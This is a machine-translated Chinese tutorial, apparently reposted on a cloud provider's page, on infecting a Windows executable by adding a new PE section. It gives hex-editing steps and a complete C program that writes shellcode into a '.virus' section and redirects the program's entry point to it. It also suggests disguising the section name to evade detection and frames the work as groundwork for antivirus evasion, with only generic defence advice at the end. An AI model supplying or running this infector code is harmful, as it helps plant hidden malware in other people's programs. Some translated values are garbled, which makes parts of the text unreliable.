Anti-Virus Attack and Defense study article 005th: Add a section to implement code Implantation

Source: Internet
Author: User
I. Preface

In the previous article, we discussed a big problem of code implantation by using gaps, that is, the length of the code we want to implant cannot be larger than the gap, otherwise, you need to cut your code into several parts and insert them into different gaps. The method discussed in this article is to add a section, which can achieve the effect of private customization. The size of this section is determined by ourselves. In this case, even if the code is long, don't worry. The biggest defect of this method is that it is not conducive to the hiding of malicious code itself, so it may not be commonly used in reality. In fact, I will discuss how to add the section here to lay the foundation for further discussions in the future, because the section is often added to PE files in shelling and kill-free technologies. This article will first discuss how to manually add a section, and then discuss how to add a section for programming implementation.

 

2. manually add a Section

Personally, as long as it is not too cumbersome, I prefer to directly use the hexadecimal code editing software to modify the target program. Because after understanding the formats of various files, it is more flexible and convenient to manually edit the code. As long as the shellcode is not too long, it is easier to manually add a section to implant the code. Generally, the Add section consists of the following four steps:

1. Add an image_section_header after the section table to save the basic information of the added section.

2. Update the numberofsections field in image_file_header and add several sections.

3. Update the sizeofimage field in image_optional_header. Add the size of the added section here. If you add code, you also need to modify the sizeofcode size and program entry point.

4. Add data in the Section.

Here, we will first use the section of helloworld.exe compiled in the document below by peid.pdf (the version of release is discussed here. If it is debug, it will be different ):


Figure 1 view the section with peid

From here, we can see that helloworld.exe contains three sections. Let's take a look at the definition of image_section_header:

Typedef struct _ image_section_header {byte name [image_sizeof_short_name]; // eight-byte section name Union {// section size DWORD physicaladdress; DWORD virtualsize;} MISC; DWORD virtualaddress; // The RVA address in the section DWORD sizeofrawdata; // the size of the aligned DWORD pointertorawdata in the file; // The offset DWORD pointertorelocations in the file; // used in the OBJ file, relocated offset DWORD pointertolinenumbers; // offset of the row number table (for trial use) Word numberofrelocations; // used in the OBJ file, number of relocated items word numberoflinenumbers; // Number of row numbers in the row number table DWORD characteristics; // section attribute} image_section_header, * pimage_section_header;
This struct has many Members, but only the six shown in the peid are required, namely name, virtualsize, virtualaddress, sizeofrawdata, pointertorawdata, and characteristics. Observe the following in combination with hex editor Neo:


Figure 2 Use hex editor Neo to view section data

As shown in figure 2, the length of image_section_header is 40 bytes, and the related data of each table occupies half of two rows in hex editor Neo. Here we will explain the meaning of the six members shown in peid:

1. Name: the name of the partition. This is an 8-bit ASCII code name (not a Unicode Internal code), used to define the section name. Generally, the section name starts with a "." (for example,. Text), but this "." is not necessary. It should be noted that if the name of the section exceeds 8 bytes, there is no final termination mark "null" bytes. The section with a "$" name will be specially treated from the linker. The section with the same name as "$" is merged. In the merged section, they are merged in alphabetical order after "$.

For the helloworld.exe Program, to hide the added section, you can disguise the newly added section name as a normal section name, such. CRT ,. BSS ,. edata or. sdata. Or change the name of the original normal section, for example, change the original section name. text. JY (my abbreviation), and name the added section. text. In general, the system will not make an error because the partition name is changed. For convenience, set the name of the new section to. virus.

2. virtualsize (V. Size): indicates the actual size of the used section, which is the actual size before the section is aligned. If virtualsize is greater than sizeofrawdata, sizeofrawdata is the size of the initialization data from the executable file, and the bytes different from virtualsize are filled with zero. This field is set to 0 in the OBJ file.

Here, I set the section size to the size after alignment. Since the file alignment is 0x1000 bytes, you can use the minimum value to directly set it to 0 x. Because the computer is small-end display and occupies 4 bytes, it should be written as "00 10 00". This small-end writing method will also be used in subsequent data filling.

3. virtualaddress (V. offset): indicates the RVA loaded into the memory in the Section. The address is aligned according to the Memory Page, and its value is always an integer multiple of sectionalignment. In Microsoft tools, the default RVA of the first block is 1000 h. In OBJ, this field is meaningless and set to 0.

The virtualaddress value is the starting position of the previous section plus the length after the last section alignment. It can be seen in peid that the starting position of the previous section is 0x7000, the last section is 0X4000. Therefore, the starting position of the new section is 0xb000.

4. sizeofrawdata (R. Size): the size of the partition in the disk file. In an executable file, this field contains the length of the block adjusted by filealignment. For example, if the size of the specified filealignment is 200 h and the length of the block in virtualsize is H, the length of the block should be H.

Enter the minimum value 0 x.

5. pointertorawdata (R. offset): The offset of this section in the disk file. The program generates raw data after compilation or assembly. This field is used to indicate the offset of the raw data in the file. This field is more important than virtualaddress if the program loads PE or COFF Files instead of the operating system. In this state, you must use the linear image method to mount the file. Therefore, you must locate the block data at the offset instead of the RVA address in the virtualaddress field.

Since the displacement of the last section is 0x7000 and the size is 0x3000, the R. offset here should be 0xa000.

6. characteristics (flags): local ownership. This field is a group of labels that indicate the node attributes (such as code/data/readable/writable. The specific attributes can be queried.

Here, you can directly refer to the. Text attribute, that is, "20 0000 60" (including code, readable and executable ).

Then, based on the above analysis, start at 0x240 next to the previous section, and manually fill in the relevant data as follows:


Figure 3 Add the basic information of a section manually

Now, the basic information of the section is added. Next, you need to modify the number of sections of the PE file. Before that, the file has three sections. Here, you need to change them to four. Find the numberofsections field in image_file_header and modify it:


Figure 4 change the number of nodes

Next, you need to modify the size of the file image, that is, the value of sizeofimage. Because I have added a new section, we should add the size of the new section to the value of the original sizeofimage, that is, the size of the new file image. The size of the original sizeofimage is 0xb000, and the size of the new section is 0x1000. The size of the new sizeofimage is 0xc000.


Figure 5 Change the file image size

Because I have added a new code segment to the file, we also need to modify the size of sizeofcode. If there are multiple code segments, we should change this field to their sum. If I have added 0x6000 bytes, I should change this data segment to 0 x:


Figure 6 modify the size of a Code Section

At this point, the content of modifying the PE Structure fields has been completed, and now you need to add real data. According to the above analysis, the starting position of the file is 0xa000 and the length is 0x1000. Fill in shellcode and enter 00 after it. Fill in the space with 0 x length (if not filled up, the system will report an error. If more is done, additional data will be displayed ):


Figure 7 add shellcode

The return address (0x00401203) is different from the one in the previous article. The last step is to change the entry point of the program to the entry point of shellcode, that is, change addressofentrypoint to 0xb000 (RVA ):

Figure 8 modify the program entry address to the shellcode address

So far, all modifications have been completed. Use peid again to view details ,:


Figure 9 added successfully

After actual tests, the program runs normally and the effect is the same as discussed in the previous article.

 

3. Add a section for programmingSimilar to the method of adding code in the gap in the previous article, adding a section area through programming is actually a series of operations on the file, and the validity of the PE file still needs to be checked. Adding a section through the programming method is the same as adding a section through the manual method, except that the above manual steps are programmed by calling the API function. The complete code is as follows:

# Include <windows. h> # define FILENAME "helloworld.exe" // name of the file to be infected: Char szsecname [] = ". virus "; // The Name Of The added section int nsecsize = 4096; // the size of the added section (in bytes) char shellcode [] = "\ x33 \ XDB" // xor ebx, EBX "\ x53" // push EBX "\ x68 \ x2e \ X65 \ x78 \ X65" // push 0x6578652e "\ x68 \ x48 \ x61 \ x63 \ x6b" // push 0x6b636148 "\ x8b \ xc4" // mov eax, esp "\ x53" // push EBX "\ x50" // push eax "\ xb8 \ x31 \ x32 \ x86 \ x7c" // mov eax, 0x7c863231 "\ xFF \ xd0 "// Call eax "\ xb8 \ x90 \ x90 \ x90" // mov eax, OEP "\ xFF \ xe0 \ x90"; // JMP eaxhandle hfile = NULL; handle hmap = NULL; lpvoid lpbase = NULL; DWORD alignsize (INT nsecsize, DWORD alignment) {int nsize = nsecsize; If (nsize % alignment! = 0) {nsecsize = (nsize/alignment + 1) * alignment;} return nsecsize;} void addsectiondata (INT nsecsize) {pbyte = NULL; // apply for the space used to add data. Here we need to subtract the space occupied by shellcode pbyte = (pbyte) malloc (nsecsize-(strlen (shellcode) + 3); zeromemory (pbyte, nsecsize-(strlen (shellcode) + 3); DWORD dwnum = 0; // point the file pointer to the end of the file to add setfilepointer (hfile, 0, 0, file_end); // write shellcode writefile (hfile, shellcode, St Rlen (shellcode) + 3, & dwnum, null); // fill the writefile (hfile, pbyte, nsecsize-(strlen (shellcode) + 3) with 00 at the end of shellcode ), & dwnum, null); flushfilebuffers (hfile); free (pbyte);} int main () {hfile = createfile (filename, generic_read | generic_write, file_assist_read, null, open_existing, exist, null); hmap = createfilemapping (hfile, null, page_readwrite, 0, 0); lpbase = mapviewoffile (hmap, file_map _ Read | file_map_write, 0); pimage_dos_header pdosheader = (pimage_dos_header) lpbase; encryption pntheader = NULL; // verify the PE file and determine whether e_magic is MZ if (pdosheader-> e_magic! = Image_dos_signature) {unmapviewoffile (lpbase); closehandle (hmap); closehandle (hfile); Return 0 ;}// locate the signature flag position pntheader = (pimage_nt_headers) based on e_lfanew) (byte *) lpbase + pdosheader-> e_lfanew); // verify the PE file and determine whether signature is PE if (pntheader-> signature! = Image_nt_signature) {unmapviewoffile (lpbase); closehandle (hmap); closehandle (hfile); Return 0;} int nsecnum = pntheader-> fileheader. numberofsections; DWORD dwfilealignment = pntheader-> optionalheader. filealignment; DWORD dwsecalignment = pntheader-> optionalheader. sectionalignment; pimage_section_header export cheader = (pimage_section_header) (DWORD) & (pntheader-> optionalheader) + pntheader-> fileheader. sizeofoptionalheader); pimage_section_header ptmpsec = cookbook cheader + nsecnum; // copy the section name strncpy (char *) ptmpsec-> name, szsecname, 7 ); // The memory size of the node ptmpsec-> Misc. virtualsize = alignsize (nsecsize, dwsecalignment); // the starting position of the memory of the node ptmpsec-> virtualaddress = paicheader [nsecnum-1]. virtualaddress + alignsize (cookbook cheader [nsecnum-1]. misc. virtualsize, dwsecalignment); // the file size of the section ptmpsec-> sizeofrawdata = alignsize (nsecsize, dwfilealignment ); // the start position of the file section ptmpsec-> pointertorawdata = paicheader [nsecnum-1]. pointertorawdata + alignsize (cookbook cheader [nsecnum-1]. sizeofrawdata, dwsecalignment); // attributes of the Section (including code, executable, and readable) ptmpsec-> characteristics = image_scn_cnt_code | bytes | image_scn_mem_read; // Number of corrected sections, auto-increment 1 pntheader-> fileheader. numberofsections ++; // corrected the image size pntheader-> optionalheader. sizeofimage + = ptmpsec-> Misc. virtualsize; // write the program's entry address to shellcode DWORD dwoep = pntheader-> optionalheader. imagebase + pntheader-> optionalheader. addressofentrypoint; * (DWORD *) & shellcode [25] = dwoep; // Add the section data addsectiondata (ptmpsec-> sizeofrawdata ); // modify the code length (this item must be modified only when the code is added) pntheader-> optionalheader. sizeofcode + = ptmpsec-> sizeofrawdata; // The entry address of the modifier (this option must be modified only when the code is added and shellcode needs to be executed in advance) pntheader-> optionalheader. addressofentrypoint = ptmpsec-> virtualaddress; flushviewoffile (lpbase, 0); unmapviewoffile (lpbase); closehandle (hmap); closehandle (hfile); Return 0 ;}

The above code is relatively simple, that is, basic file operations. Relevant comments have been provided and will not be discussed here.

 

Iv. Defense methods

In my opinion, virus infection is not easy to clear, because it will implant its own code into a normal PE file, even though it can be used to clear the computer damage caused by viruses, however, it is difficult to delete malicious code hidden in normal programs. Although we can no longer run software containing malware, once we run it, it may infect all PE files on the computer, in this way, even if we use the antivirus tool to clear the bad behavior caused by the virus, once other programs run, the virus will continue again. In addition, even if there is a way to completely clear the virus code hidden in the PE file, it may also damage the main body of the program, so that the program cannot run normally. Therefore, the best way is to prevent this situation from the source, do not download and run programs with unknown experience, and install anti-virus software. That is to say, we must cultivate good awareness of computer security.

 

V. SummaryThis time, we discussed how to add a partition manually and programmatically. In fact, its principle is very simple, but complicated. The discussion in this article also laid the foundation for future discussions on kill-free technologies.

Anti-Virus Attack and Defense study article 005th: Add a section to implement code Implantation

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.